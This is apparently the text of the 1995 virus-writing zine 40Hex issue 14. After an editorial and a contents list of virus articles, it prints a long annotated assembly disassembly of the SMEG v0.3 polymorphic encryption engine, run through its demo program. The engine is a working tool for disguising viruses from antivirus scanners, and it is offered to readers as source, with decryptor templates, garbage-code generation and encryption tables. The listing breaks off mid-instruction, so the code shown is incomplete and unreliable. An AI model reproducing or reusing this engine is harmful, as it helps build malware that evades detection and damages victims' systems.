40Hex Number 14 Volume 5 Issue 1 File 000 Wow, another release of 40hex. Bet you thought we were dead. Wrong. Lots of stuff has happened since the last issue of 40hex. The most important thing to note is that my apartment burned down back in November. I lost pretty much everything, but miraculously, my 386/33 and the 8 megs of ram inside it survived a BIG fire, the water hose, then being thrown out of a 3 story window. All of the information I had was destroyed however. The next thing I would like to mention is the Wired Article that appeared about PHALCON/SKISM. It sucked. Besides the fact that I was called the "Official Archivist", it was filled with standard virus hype. But hey, at least we get to see a picture of Hellraiser and Mark Ludwig. ** If you subscribed to the Hard Copy, I lost all subscriber information, ** please either E-Mail us or mail the P.O. Box. Where to get 40hex: ftp: --- aql.gatech.edu:/pub/virii netcom.com:/br/bradleym/zines WWW: --- http://underground.org/publications/40hex Email: ----- fortyhex@phantom.com Phalcon/Skism's Top 13 List of Things you Find in 40hex-14 ---------------------------------------------------------- 40hex-14.000 Mrrrh, yer stepping in it. 40hex-14.001 Smeg Disassembly 40hex-14.002 Kill Smeg 40hex-14.003 Boot Sectors Explored 40hex-14.004 Assassin 40hex-14.005 And Now for something completely useless... 40hex-14.006 Junkie Dis 40hex-14.007 Virus Spotlight: 3APA3A 40hex-14.008 Corporate Life 40hex-14.009 Grace 40hex-14.010 Level 3 40hex-14.011 Jump 40hex-14.012 UMB Residency 40hex-14.013 Avalanche 40Hex is (C) 1995 Phalcon/Skism. All rights reserved. This magazine may not be sold or modified without the written consent of Phalcon/Skism. Greetings flyin' out to: Qark, Antigen, Lookout, Dark Slayer, Theora, cDc, MHP, #virus, and all the members that have gotten back in touch with us. -- >> G-to-the-H-to-the-E-to-the-A-to-the-P 40Hex Number 14 Volume 5 Issue 1 File 001 SMEG is one of those ubiquitous polymorphism aids which have become fashionable during the last few years. It was written by the Black Baron of England. It tends to generate rather large decryptors. The only really interesting feature is that it has the capability of generating CALL's to garbage subroutines. Note that there are only a few routines which SMEG chooses from, so this encryption is more on the level of Whale coupled with garbling. The debug script follows the disassembly. Dark Angel Phalcon/Skism 1995 ------------------------------- ; This is the disassembly of a SMEG demonstration program which generates ; snippets of code encrypted with SMEG. .model tiny .code .radix 16 org 100 ; Disassembly by Dark Angel of Phalcon/Skism ; for 40Hex #14 Vol 5 Issue 1 workbuffer struc datasize dw ? ; 00 length of data to crypt sourceptr dw ? ; 02 pointer to data to crypt targetptr dw ? ; 04 pointer of where to put crypted data db ? ; 06 reg0 encryption value db ? ; 07 reg1 counter register db ? ; 08 reg2 temporary storage for data ; to be decrypted db ? ; 09 reg3 db ? ; 0A reg4 (always BP) db ? ; 0B reg5 db ? ; 0C reg6 db ? ; 0D reg7 pointer register rng_buffer dw ? ; 0E used by random number generator cryptval db ? ; 10 encryption value ptr_offsets dw ? ; 11 XXXX in [bx+XXXX] memory references loop_top dw ? ; 13 points to top of decryption loop pointer_patch dw ? ; 15 points to initialisation of pointer counter_patch dw ? ; 17 points to initialisation of counter pointer_fixup dw ? ; 19 needed for pointer calculation crypt_type db ? ; 1B how is it encrypted? initialIP dw ? ; 1C IP at start of decryptor lastgarble db ? ; 1E type of the last garbling instr cJMP_patch dw ? ; 1F conditional jmp patch CALL_patch dw ? ; 21 CALL patch nJMP_patch dw ? ; 23 near JMP patch garbage_size dw ? ; 25 # garbage bytes to append decryptor_size dw ? ; 27 size of decryptor last_CALL dw ? ; 29 location of an old CALL patch location which_tbl dw ? ; 2B which table to use workbuffer ends SMEG_demo: jmp enter_SMEG_demo filename db '0000.COM', 0 prompt db 'SMEG v0.3. Generation Difference Demonstration',0Dh db 0A,9,' (C) The Black Baron 1994',0Dh,0A,0A,0A db 'SELECT THE NUMBER OF GENERATIONS:',0Dh,0A,0A db '1 -- 10 Generations',0Dh,0A db '2 -- 100 ""',0Dh,0A db '3 -- 1000 ""',0Dh,0A db '4 -- 10000 "" (Large HD`s Only!!)$' _10 db ' 10 $' _100 db ' 100 $' _1000 db ' 1000 $' _10000 db ' 10000 $' generating db 0Dh,0A,0A,0A,'Generating$' please_wait db 'Executable .COM Generations, Please Wait...$' checkdiff db 0Dh,0A,0A db 'DONE! Now examine each, and' db ' note how different they are!',0Dh,0A,0A,7,'$' diskerror db 0Dh,0A,0A,'SORRY! A disk error has occurred!' db 0Dh,0A,0A,7,'$' num2gen dw 10d, offset _10 dw 100d, offset _100 dw 1000d, offset _1000 dw 10000d, offset _10000 enter_SMEG_demo:mov ax,3 ; set video mode to standard int 10 ; text mode (clear screen, too) mov dx,offset prompt ; display prompt mov ah,9 int 21 inputloop: mov ax,0C07 ; clear keyboard buffer & get int 21 ; keystroke cmp al,'1' ; must be between 1 and 4 jb inputloop cmp al,'4' ja inputloop sub al,'1' ; normalise xor ah,ah ; and find out how many files add ax,ax ; we should generate add ax,ax add ax,offset num2gen xchg bx,ax push bx mov dx,offset generating mov ah,9 ; display string int 21 pop bx ; display num to generate mov cx,[bx] push cx mov dx,[bx+2] int 21 mov dx,offset please_wait ; display string again int 21 pop cx gen_file_loop: push cx mov bp,offset data_area ; set up SMEG registers mov di,offset target_area mov dx,offset carrier mov cx,offset end_carrier - offset carrier mov ax,100 ; COM files start exec @ 100 call SMEG ; encrypt the carrier file mov ah,5Bh ; create new file mov dx,offset filename xor cx,cx int 21 jnc created_file print_error_exit: call print_error exit_error: pop cx mov ax,4CFF ; terminate errorlevel -1 int 21 created_file: xchg bx,ax mov ah,40 ; write decryptor mov cx,[bp.decryptor_size] mov dx,offset target_area int 21 jnc write_rest close_exit: call print_error mov ah,3E ; close file int 21 jmp short exit_error write_rest: call encrypt ; encrypt the code mov ah,40 ; the write the result to the mov cx,[bp.datasize] ; file mov dx,offset target_area int 21 jc close_exit call generate_garbage ; create garbage mov ah,40 ; append it to the file int 21 jc close_exit mov ah,3E ; close file int 21 jc print_error_exit mov bx,offset filename+3 ; calculate next file name mov cx,4 inc_fname: inc byte ptr [bx] cmp byte ptr [bx],3A jb increment_done sub byte ptr [bx],0A dec bx loop inc_fname increment_done: pop cx loop gen_file_loop mov dx,offset checkdiff ; display string mov ah,9 int 21 mov ax,4C00 ; exit errorlevel 0 int 21 print_error: mov dx,offset diskerror ; display error message mov ah,9 int 21 retn carrier: call enter_carrier db 0Dh,0A,'This was decrypted with a SMEG v0.3 generated' db ' decryptor!',0Dh,0A,'$' enter_carrier: pop dx mov ah,9 ; print string int 21 mov ax,4c00 ; terminate int 21 end_carrier: ; SMEG code begins here SMEG: mov [bp.datasize],cx ; save length to crypt mov [bp.sourceptr],dx ; save offset to data to crypt mov [bp.targetptr],di ; save offset to where to put crypted stuff push bx si mov bx,bp db 83,0C3,06 ; add bx,6 mov cx,2Dh ; clear the work area with 0's ; the above line is buggy. it should read: mov cx,2Dh-6 push bx clear_dataarea: mov [bx],ch inc bx loop clear_dataarea mov [bp.initialIP],ax ; store initial IP call rnd_init mov bx,offset use_regs_tbl call rnd_get and al,1F xlat pop bx mov cx,4 fill_registers: xor dl,dl ; fill in which registers rcl al,1 ; do which job rcl dl,1 rcl al,1 rcl dl,1 mov [bx],dl inc bx loop fill_registers mov byte ptr [bx],5 ; use BP as a garbling register inc bx inc bx call rnd_get rol al,1 ; get top bit of al and al,1 ; to select between add al,6 ; si and di for ptr mov [bx],al ; register xor al,1 ; flip to the other one cmp byte ptr [bx-3],3 ; is it BX? jne is_not_bx mov [bx-3],al mov al,3 is_not_bx: mov [bx+1],al mov al,[bx-3] mov [bx-1],al gen_cryptval: call rnd_get xor al,ah jz gen_cryptval mov [bp.cryptval],al ; store encryption value call rnd_get ; get a random value for the or al,1 ; offset of memory references, mov [bp.ptr_offsets],ax ; i.e. the XXXX in [bp+XXXX] call rnd_init ; generate a random number and ax,3FF ; from 80 to 47F to be the add ax,80 ; number of garbage bytes to mov [bp.garbage_size],ax ; add ; the next block serves no purpose. but it is a valid text string... xor ax,ax ; 3?SMEG???? add al,53 ; where ? stands for an upper dec bp ; ASCII character inc bp inc di add al,0AE cld sub di,ax call rnd_get ; do the following from and ax,3 ; 3 to 7 times add al,3 xchg cx,ax begin_garble: push cx call garble_more call rnd_get cmp al,8C jbe no_int21 and ax,3 ; encode a dummy int 21 add ax,offset int21fcns ; call xchg si,ax mov ah,0B4 lodsb xchg ah,al stosw mov ax,21CDh ; encode int 21 stosw no_int21: pop cx loop begin_garble mov al,0E8 ; encode a CALL stosb push di ; write garbage for offset stosw ; of call for now call garble_more ; encode some garbage mov al,0E9 ; encode a JMP stosb pop bx push di stosw push di pop ax dec ax dec ax sub ax,bx mov [bx],ax ; patch CALL to point to ; space past the JMP where we call garble_more ; encode a garbage subroutine mov al,0C3 ; encode a RETN stosb pop bx push di pop ax dec ax dec ax sub ax,bx mov [bx],ax ; Make JMP go past subroutine call encode_routine ; encode the routine! mov si,bp db 83,0C6,08 ; add si,8 ; default to using data temp ; storage register to return ; to top of loop and al,al ; check return code of routine jnz how_to_top dec si ; if 0, instead use encryption dec si ; value register to return how_to_top: mov al,75 ; encode JNZ stosb inc di push di call garble_some pop bx mov al,0E9 ; encode a JMP stosb push di inc di ; skip the offset for now inc di mov ax,di sub ax,bx mov [bx-1],al ; patch the JNZ call garble_some call rnd_get and ax,3 ; first entry requires add ax,ax ; no register setup, so jz no_setup ; jmp past it push ax mov al,0B8 or al,[si] ; MOV word-reg, XXXX stosb mov ax,[bp.loop_top] sub ax,[bp.targetptr] add ax,[bp.initialIP] stosw call garble_some pop ax no_setup: add ax,offset jmp_table xchg bx,ax call word ptr [bx] ; encode method of returning stosw ; to the top of the loop pop bx mov ax,di sub ax,bx dec ax dec ax mov [bx],ax call garble_more pad_paragraph: mov ax,di ; pad the decryptor out to the sub ax,[bp.targetptr] ; nearest paragraph and al,0F ; do we need to? jz padded ; no, we are done cmp al,0C ; otherwise, still a lot to go? ja one_byte_pad ; no, do one byte at a time call not_branch_garble ; else do a nonbranching jmp short pad_paragraph ; instruction one_byte_pad: call rnd_get ; do a random one byte padding call do_one_byte ; instruction jmp short pad_paragraph padded: mov ax,di sub ax,[bp.targetptr] mov [bp.decryptor_size],ax add ax,[bp.initialIP] mov cx,[bp.pointer_fixup] sub ax,cx mov bx,[bp.pointer_patch] mov [bx],ax mov bl,[bp.crypt_type] ; get encryption type so mov cl,3 ; the initial value of the ror bl,cl ; counter can be calculated db 83,0E3,0F ; and bx,0F add bx,offset counter_init_table mov ax,[bp.datasize] call word ptr [bx] mov bx,[bp.counter_patch] ; patch the value of the mov [bx],ax ; counter as needed pop si bx retn generate_garbage: mov cx,[bp.garbage_size] ; write random bytes mov di,[bp.targetptr] ; to the target location push cx di random_gen: call rnd_get stosb loop random_gen pop dx cx retn write_table dw offset write_nothing dw offset write_cryptval dw offset write_pointer_patch dw offset write_counter_patch dw offset write_ptr_offset dw offset write_dl ; In the following table, each pair of bits represents a register ; in standard Intel format, i.e. 00 = ax, 01 = cx, 10 = dx, 11 = bx use_regs_tbl: db 00011011b ; ax cx dx bx db 11000110b ; bx ax cx dx db 10110001b ; dx bx ax cx db 01101100b ; cx dx bx ax db 11100100b ; bx dx cx ax db 00111001b ; ax bx dx cx db 01001110b ; cx ax bx dx db 10010011b ; dx cx ax bx db 01001011b ; cx ax dx bx db 11010010b ; bx cx ax dx db 10110100b ; dx bx cx ax db 00101101b ; ax dx cx bx db 11100001b ; bx dx ax cx db 01111000b ; cx bx dx ax db 00011110b ; ax cx bx dx db 10000111b ; dx ax cx bx db 00100111b ; ax dx cx bx db 11001001b ; bx ax dx cx db 01110010b ; cx bx ax dx db 10011100b ; dx cx bx ax db 11011000b ; dx ax bx cx db 00110110b ; ax bx cx dx db 10001101b ; bx cx dx ax db 01100011b ; cx dx ax bx db 11100100b ; bx dx cx ax db 00101101b ; ax dx cx bx db 00100111b ; ax dx cx bx db 00011110b ; ax cx bx dx db 11000110b ; bx ax cx dx db 10000111b ; bx cx ax dx db 11010010b ; cx bx ax dx db 01110010b ; cx bx ax dx onebyte_table: dec ax inc ax clc cld cmc stc inc ax dec ax ; high byte holds the opcode, low byte holds the second byte of the ; instruction, i.e. holds the reg/mod, etc. the bottom 2 bits of the low ; byte hold the maximum amount to add to the high byte in creating the ; instruction. This allows one word to generate more than one instruction, ; including the byte or word forms of the instructions ; note that this is reverse of what will be actually stored garble_table: dw 80F1 ; XOR reg, XXXX dw 3201 ; XOR reg, [reg] dw 0F6C1 ; TEST reg, XXXX dw 8405 ; TEST/XCHG reg, [reg] dw 80E9 ; SUB reg, XXXX (2 diff encodings) dw 2A01 ; SUB reg, [reg] dw 0D0EBh ; SHR reg, 1 dw 1A01 ; SBB reg, [reg] dw 80D9 ; SBB reg, XXXX dw 80D1 ; ADC reg, XXXX dw 0D0FBh ; SAR reg, 1/CL dw 0D0E3 ; SHL reg, 1/CL dw 0D0CBh ; ROR reg, 1/CL dw 0D0C3 ; ROL reg, 1/CL dw 8405 ; TEST/XCHG reg, [reg] dw 0D0DBh ; RCR reg, 1/CL dw 0C6C1 ; MOV reg, XXXX dw 080C9 ; OR reg, XXXX dw 0A01 ; OR reg, [reg] dw 0F6D1 ; NOT reg dw 0F6D9 ; NEG reg dw 8A01 ; MOV reg, [reg] dw 0C6C1 ; MOV reg, XXXX dw 0201 ; ADD reg, [reg] dw 80C1 ; ADD reg, XXXX dw 80FDh ; CMP reg, XXXX dw 3807 ; CMP reg, [reg] (2 diff encodings) dw 80E1 ; AND reg, XXXX dw 0D0D3 ; RCL reg, 1/CL dw 2201 ; AND reg, [reg] dw 1201 ; ADC reg, [reg] dw 8A01 ; MOV reg, [reg] int21fcns db 19,2A,2C,30 counter_init_table: dw offset counterinit0 dw offset counterinit1 dw offset counterinit2 dw offset counterinit3 dw offset counterinit4 dw offset counterinit5 dw offset counterinit6 dw offset counterinit7 encode_table dw offset use_as_is dw offset fill_mod_field dw offset fill_field dw offset fill_reg_reg1 dw offset fill_reg_field dw offset fill_mod_n_reg dw offset fill_reg_reg2 encode_tbl1: db 8,8C,0,0C8,4,0 ; 1 MOV reg0, CS db 8,8E,0,0D8,4,0 ; 2 MOV DS, reg0 db 7,0B8,4,-1,0,2 ; 3 MOV reg7,initial pointer db 1,0B8,4,-1,0,3 ; 4 MOV reg1,initial counter db 57,8A,0,80,5,4 ; 5 MOV reg2,[reg7+offset] db 57,88,0,80,5,4 ; 6 MOV [reg7+offset],reg2 db 2,80,0,0F0,4,1 ; 7 XOR reg2,cryptvalue db 11,8Bh,0,0C0,5,0 ; 8 MOV reg2,reg1 db 78,30,0,0,6,0 ; 9 XOR [reg7],reg0 db 47,0F6,0,98,4,4 ; A NEG [reg7+offset] db 47,0F6,0,90,4,4 ; B NOT [reg7+offset] db 7,40,4,-1,0,0 ; C INC reg7 db 1,48,4,-1,0,0 ; D DEC reg1 db 8,0B0,4, -1,0,1 ; E MOV reg0,cryptval db 10,33,0,0C0,5,0 ; F XOR reg2,reg0 encode_tbl2: db 47,86,0,80,5,4 ; 1 XCHG reg0,[reg7+offset] db 8,40,4,-1,0,0 ; 2 INC reg0 db 8,48,4,-1,0,0 ; 3 DEC reg0 db 7,81,0,0C0,4,15 ; 4 ADD reg7,1 db 1,81,0,0E8,4,15 ; 5 SUB reg1,1 db 10,2,0,0C0,5,0 ; 6 ADD reg2,reg0 db 10,2A,0,0C0,5,0 ; 7 SUB reg2,reg0 db 47,0FBh,4,0B0,4,4 ; 8 PUSH [reg7+offset] db 47,8F,0,80,4,4 ; 9 POP [reg7+offset] db 8,50,4,-1,0,0 ; A PUSH reg0 db 8,58,4,-1,0,0 ; B POP reg0 db 10,87,0,0C0,5,0 ; C XCHG reg2,reg0 db 2,40,4,-1,0,0 ; D INC reg2 db 8,8Bh,0,0C0,5,0 ; E MOV reg1,reg0 db 9,23,0,0C0,5,0 ; F AND reg1,reg1 routine4: db 10 ; MOV reg0,CS (1) ; MOV reg7,initial pointer (3) ; MOV DS,reg0 (2) ; MOV reg1,initial counter (4) ; MOV reg0,encryption value (E) ; XOR reg2,reg0 (F) ; beginning of loop (0) ; MOV reg2,[reg7+offset] (5) ; XOR reg2,reg0 (F) ; INC reg0 (02) ; MOV [reg7+offset],reg2 (6) ; INC reg7 (C) ; DEC reg1 (D) ; done (-1) db 13,24,0EF,05,0F0,26,0CDh,-1 routine8: db 71 ; MOV reg7,initial pointer (3) ; MOV reg1,initial counter (4) ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; MOV reg0,encryption value (E) ; beginning of loop (0) ; DEC reg1 (D) ; NEG [reg7+offset] (A) ; DEC reg1 (D) ; MOV reg2,[reg7+offset] (5) ; XOR reg2,reg0 (F) ; MOV [reg7+offset],reg2 (6) ; DEC reg0 (03) ; ADD reg7,1 (04) ; SUB reg1,1 (05) ; DEC reg0 (03) ; SUB reg1,1 (05) ; done (-1) db 34,12,0EE,0Dh,0ADh,5F,60,30,40,50,30,50,-1 routine1: db 42 ; MOV reg1,initial counter (4) ; MOV reg7,initial pointer (3) ; MOV reg0,CS (1) ; XCHG reg2,reg0 (0C) ; MOV reg0,encryption value (E) ; MOV reg0,encryption value (E) ; XCHG reg2,reg0 (0C) ; MOV DS,reg0 (2) ; beginning of loop (0) ; XCHG reg0,[reg7+offset] (01) ; XOR reg2,reg0 (F) ; MOV [reg7+offset],reg2 (6) ; MOV reg2,reg1 (8) ; MOV reg2,reg1 (8) ; INC reg2 (0D) ; INC reg2 (0D) ; INC reg2 (0D) ; DEC reg0 (03) ; XCHG reg2,reg0 (0C) ; MOV reg1,reg0 (0E) ; ADD reg7,1 (04) ; AND reg1,reg1 (0F) ; done (-1) ; return code 0 (0) db 43,10,0CE,0E0,0C2,0,1F,68,80,0D0,0D0,0D0,30,0C0,0E0,40 db 0F0,-1,0 routineC: db 33 ; MOV reg0,CS (1) ; MOV reg1,initial counter (4) ; MOV DS,reg0 (2) ; MOV reg7,initial pointer (3) ; MOV reg0,encryption value (E) ; MOV reg0,encryption value (E) ; beginning of loop (0) ; DEC reg1 (D) ; DEC reg1 (D) ; NOT [reg7+offset] (B) ; MOV reg2,[reg7+offset] (5) ; XOR reg2,reg0 (F) ; MOV [reg7+offset],reg2 (6) ; XOR reg2,reg0 (F) ; INC reg7 (C) ; INC reg0 (02) ; INC reg0 (02) ; XOR reg2,reg0 (F) ; done (-1) db 14,23,0EE,0Dh,0DBh,5F,6F,0C0,20,20,0F0,-1 routineE: db 64 ; MOV reg1,initial counter (4) ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; MOV reg7,initial pointer (3) ; XOR reg2,reg0 (F) ; beginning of loop (0) ; XOR [reg7],reg0 (9) ; MOV reg2,reg1 (8) ; XCHG reg2,reg0 (0C) ; INC reg0 (02) ; INC reg2 (0D) ; INC reg0 (02) ; ADD reg7,1 (04) ; INC reg0 (02) ; INC reg0 (02) ; MOV reg1,reg0 (0E) ; INC reg2 (0D) ; XCHG reg2,reg0 (0C) ; AND reg1,reg1 (0F) ; done (-1) db 41,2E,3F,9,80,0C0,20,0D0,20,40,20,20,0E0,0D0,0C0,0F0,-1 routine2: db 5 ; MOV reg0,CS (1) ; MOV reg7,initial pointer (3) ; MOV reg1,initial counter (4) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; XOR reg2,reg0 (F) ; beginning of loop (0) ; DEC reg1 (D) ; XOR reg2,encryption value (7) ; PUSH reg0 (0A) ; PUSH [reg7+offset] (08) ; POP reg0 (0B) ; XCHG reg2,reg0 (0C) ; POP reg0 (0B) ; PUSH reg0 (0A) ; SUB reg2,reg0 (07) ; MOV [reg7+offset],reg2 (6) ; INC reg7 (C) ; MOV reg2,reg1 (8) ; MOV reg2,reg1 (8) ; INC reg2 (0D) ; INC reg2 (0D) ; XCHG reg2,reg0 (0C) ; MOV reg1,reg0 (0E) ; POP reg0 (0B) ; INC reg0 (02) ; AND reg1,reg1 (0F) ; done (-1) db 13,42,0EF,0Dh,70,0A0,80,0B0,0C0,0B0,0A0,76,0C8,80,0D0 db 0D0,0C0,0E0,0B0,20,0F0,-1 routineF: db 56 ; MOV reg7,initial pointer (3) ; MOV reg1,initial counter (4) ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; beginning of loop (0) ; MOV reg2,[reg7+offset] (5) ; INC reg2 (0D) ; ADD reg2,reg0 (06) ; MOV [reg7+offset],reg2 (6) ; MOV reg2,reg1 (8) ; DEC reg0 (03) ; XOR reg2,reg0 (F) ; DEC reg1 (D) ; INC reg7 (C) ; DEC reg1 (D) ; done (-1) db 34,12,2E,5,0D0,66,80,3F,0DC,0D0,-1 routine9: db 27 ; MOV reg1,initial counter (4) ; MOV reg0,CS (1) ; MOV reg7,initial pointer (3) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; XOR reg2,reg0 (F) ; beginning of loop (0) ; XOR [reg7],reg0 (9) ; XOR reg2,reg0 (F) ; ADD reg7,1 (04) ; PUSH reg0 (0A) ; MOV reg2,reg1 (8) ; DEC reg1 (D) ; INC reg2 (0D) ; INC reg2 (0D) ; INC reg2 (0D) ; XCHG reg2,reg0 (0C) ; MOV reg1,reg0 (0E) ; POP reg0 (0B) ; DEC reg0 (03) ; AND reg1,reg1 (0F) ; done (-1) db 41,32,0EF,9,0F0,40,0A8,0D0,0D0,0D0,0C0,0E0,0B0,30,0F0 db -1 routine7: db 32 ; MOV reg1,initial counter (4) ; MOV reg0,CS (1) ; MOV reg7,initial pointer (3) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; XCHG reg2,reg0 (0C) ; beginning of loop (0) ; MOV reg2,reg1 (8) ; DEC reg1 (D) ; POP reg0 (0B) ; XOR reg2,reg0 (F) ; MOV [reg7+offset],reg2 (6) ; DEC reg0 (03) ; XCHG reg2,reg0 (0C) ; ADD reg7,1 (04) ; DEC reg1 (D) ; done (-1) ; return code 0 (0) db 41,32,0E0,0C0,8,0D0,0BF,60,30,0C0,4Dh,-1,0 routine5: db 11 ; MOV reg1,initial counter (4) ; MOV reg7,initial pointer (3) ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; XOR reg2,reg0 (F) ; beginning of loop (0) ; NEG [reg7+offset] (A) ; MOV reg2,[reg7+offset] (5) ; XOR reg2,reg0 (F) ; DEC reg1 (D) ; DEC reg0 (03) ; DEC reg0 (03) ; XCHG reg2,reg0 (0C) ; XCHG reg0,[reg7+offset] (01) ; XCHG reg2,reg0 (0C) ; ADD reg7,1 (04) ; AND reg1,reg1 (0F) ; done (-1) db 43,12,0EF,0A,5F,0D0,30,30,0C0,10,0C0,40,0F0,-1 routineB: db 66 ; MOV reg7,initial pointer (3) ; MOV reg0,CS (1) ; MOV reg1,initial counter (4) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; XOR reg2,reg0 (F) ; beginning of loop (0) ; PUSH reg0 (0A) ; PUSH [reg7+offset] (08) ; MOV reg2,reg1 (8) ; MOV reg2,reg1 (8) ; XCHG reg2,reg0 (0C) ; INC reg0 (02) ; INC reg0 (02) ; INC reg0 (02) ; INC reg0 (02) ; MOV reg1,reg0 (0E) ; POP reg0 (0B) ; XCHG reg2,reg0 (0C) ; POP reg0 (0B) ; ADD reg2,reg0 (06) ; PUSH reg0 (0A) ; XCHG reg2,reg0 (0C) ; PUSH reg0 (0A) ; POP [reg7+offset] (09) ; POP reg0 (0B) ; DEC reg0 (03) ; INC reg7 (C) ; XOR reg2,reg0 (F) ; AND reg1,reg1 (0F) ; done (-1) db 31,42,0EF,0,0A0,88,80,0C0,20,20,20,20,0E0,0B0,0C0,0B0 db 60,0A0,0C0,0A0,90,0B0,3C,0F0,0F0,-1 routine3: db 4 ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; MOV reg2,reg1 (8) ; MOV reg1,initial counter (4) ; MOV reg7,initial pointer (3) ; beginning of loop (0) ; MOV reg2,reg1 (8) ; DEC reg1 (D) ; INC reg2 (0D) ; XCHG reg2,reg0 (0C) ; MOV reg1,reg0 (0E) ; XCHG reg2,reg0 (0C) ; XOR [reg7],reg0 (9) ; INC reg7 (C) ; INC reg0 (02) ; INC reg0 (02) ; AND reg1,reg1 (0F) ; done (-1) db 12,0E8,43,8,0D0,0D0,0C0,0E0,0C9,0C0,20,20 db 0F0,-1 routineD: db 73 ; MOV reg7,initial pointer (3) ; MOV reg0,CS (1) ; MOV reg1,initial counter (4) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; MOV reg1,initial counter (4) ; beginning of loop (0) ; DEC reg1 (D) ; DEC reg1 (D) ; DEC reg1 (D) ; NOT [reg7+offset] (B) ; PUSH reg0 (0A) ; PUSH [reg7+offset] (08) ; POP reg0 (0B) ; XCHG reg2,reg0 (0C) ; POP reg0 (0B) ; XOR reg2,reg0 (F) ; MOV [reg7+offset],reg2 (6) ; INC reg0 (02) ; ADD reg7,1 (04) ; INC reg0 (02) ; SUB reg1,1 (05) ; done (-1) db 31,42,0E4,0Dh,0DDh,0B0,0A0,80,0B0,0C0,0BF,60,20,40,20 db 50,-1 routine0: db 20 ; MOV reg0,encryption value (E) ; XCHG reg2,reg0 (0C) ; MOV reg0,CS (1) ; MOV reg7,initial pointer (3) ; MOV DS,reg0 (2) ; MOV reg1,initial counter (4) ; beginning of loop (0) ; XCHG reg0,[reg7+offset] (01) ; XCHG reg2,reg0 (0C) ; XOR reg2,reg0 (F) ; DEC reg1 (D) ; XCHG reg2,reg0 (0C) ; XCHG reg0,[reg7+offset] (01) ; XCHG reg2,reg0 (0C) ; MOV reg2,reg1 (8) ; INC reg7 (C) ; INC reg2 (0D) ; INC reg2 (0D) ; INC reg2 (0D) ; INC reg0 (02) ; XCHG reg2,reg0 (0C) ; MOV reg1,reg0 (0E) ; AND reg1,reg1 (0F) ; done (-1) ; return code 0 (0) db 0E0,0C1,32,40,0,10,0CF,0D0,0C0,10,0C8,0C0,0D0,0D0,0D0 db 20,0C0,0E0,0F0,-1,0 routine6: db 55 ; MOV reg1,initial counter (4) ; MOV reg7,initial pointer (3) ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; MOV reg0,encryption value (E) ; MOV reg7,initial pointer (3) ; beginning of loop (0) ; MOV reg2,[reg7+offset] (5) ; DEC reg1 (D) ; SUB reg2,reg0 (07) ; INC reg0 (02) ; SUB reg1,1 (05) ; MOV [reg7+offset],reg2 (6) ; INC reg7 (C) ; DEC reg1 (D) ; done (-1) db 43,12,0E3,5,0D0,70,20,56,0CDh,-1 routineA: db 47 ; MOV reg0,encryption value (E) ; MOV reg7,initial pointer (3) ; MOV reg1,initial counter (4) ; XCHG reg2,reg0 (0C) ; MOV reg0,CS (1) ; MOV DS,reg0 (2) ; beginning of loop (0) ; PUSH [reg7+offset] (08) ; POP reg0 (0B) ; XCHG reg2,reg0 (0C) ; XOR reg2,reg0 (F) ; MOV [reg7+offset],reg2 (6) ; MOV reg2,reg1 (8) ; DEC reg1 (D) ; DEC reg0 (03) ; INC reg2 (0D) ; INC reg2 (0D) ; INC reg2 (0D) ; XCHG reg2,reg0 (0C) ; MOV reg1,reg0 (0E) ; ADD reg7,1 (04) ; AND reg1,reg1 (0F) ; done (-1) ; return code 0 (0) db 0E3,40,0C1,20,0,80,0B0,0CF,68,0D0,30,0D0,0D0,0D0,0C0 db 0E0,40,0F0,-1,0 crypt_table dw offset crypt0 dw offset crypt1 dw offset crypt2 dw offset crypt3 dw offset crypt4 dw offset crypt5 dw offset crypt6 dw offset crypt7 jmp_table dw offset jmp0 dw offset jmp1 dw offset jmp2 dw offset jmp3 routine_table: dw offset routine0 dw offset routine1 dw offset routine2 dw offset routine3 dw offset routine4 dw offset routine5 dw offset routine6 dw offset routine7 dw offset routine8 dw offset routine9 dw offset routineA dw offset routineB dw offset routineC dw offset routineD dw offset routineE dw offset routineF encrypt: cld push bx si mov bl,[bp.crypt_type] ; get encryption type db 83,0E3,0F ; and bx,0F add bx,bx add bx,offset crypt_table ; convert to offset mov di,[bp.targetptr] ; set up loop mov si,[bp.sourceptr] mov cx,[bp.datasize] mov dl,[bp.cryptval] encrypt_byte: lodsb call word ptr [bx] stosb loop encrypt_byte pop si bx retn crypt0: xor al,dl inc dl retn crypt2: xor dl,al mov al,dl dec dl retn crypt3: not al crypt4: xor al,dl inc dl inc dl retn crypt1: xor al,dl neg al dec dl dec dl retn crypt5: add al,dl inc dl retn crypt6: sub al,dl dec dl retn crypt7: xor al,dl dec dl retn counterinit0: neg ax counterinit1: retn counterinit2: neg ax counterinit3: add ax,ax retn counterinit4: neg ax counterinit5: mov cx,ax add ax,ax add ax,cx retn counterinit6: neg ax counterinit7: add ax,ax add ax,ax retn jmp0: mov al,0E9 ; encode a JMP stosb ; (with word offset) mov ax,di ; calculate offset to sub ax,[bp.loop_top] ; top of decryption loop inc ax ; adjust for jmp instruction inc ax neg ax ; adjust for going back instead retn ; of forwards jmp1: mov ax,0E0FF ; encode JMP register or ah,[si] retn jmp2: mov ax,0C350 ; encode PUSH/RETn jmpXdone: or al,[si] retn jmp3: mov al,0E ; encode PUSH CS stosb call garble_some ; garble a bit mov ax,0CB50 ; encode PUSH reg/RETN jmp short jmpXdone encode_routine: call rnd_get ; pick a random routine mov bx,offset routine_table ; to use and ax,0F add ax,ax add bx,ax mov si,[bx] lodsb ; get the first byte mov [bp.crypt_type],al ; and save it jmp short encode_routine2 ; keep going... encode_it: lodsb ; get the next byte cmp ah,-1 ; are we done? je use_as_is ; if so, exit xor bh,bh ; convert AL to add al,al ; offset in encode_table mov bl,al add bx,offset encode_table mov al,dh mov cx,3 call word ptr [bx] ; call the routine xchg ah,al stosb ; write the resulting byte use_as_is: retn fill_mod_field: ror al,cl fill_field: and al,7 ; get the register # al mov bx,bp db 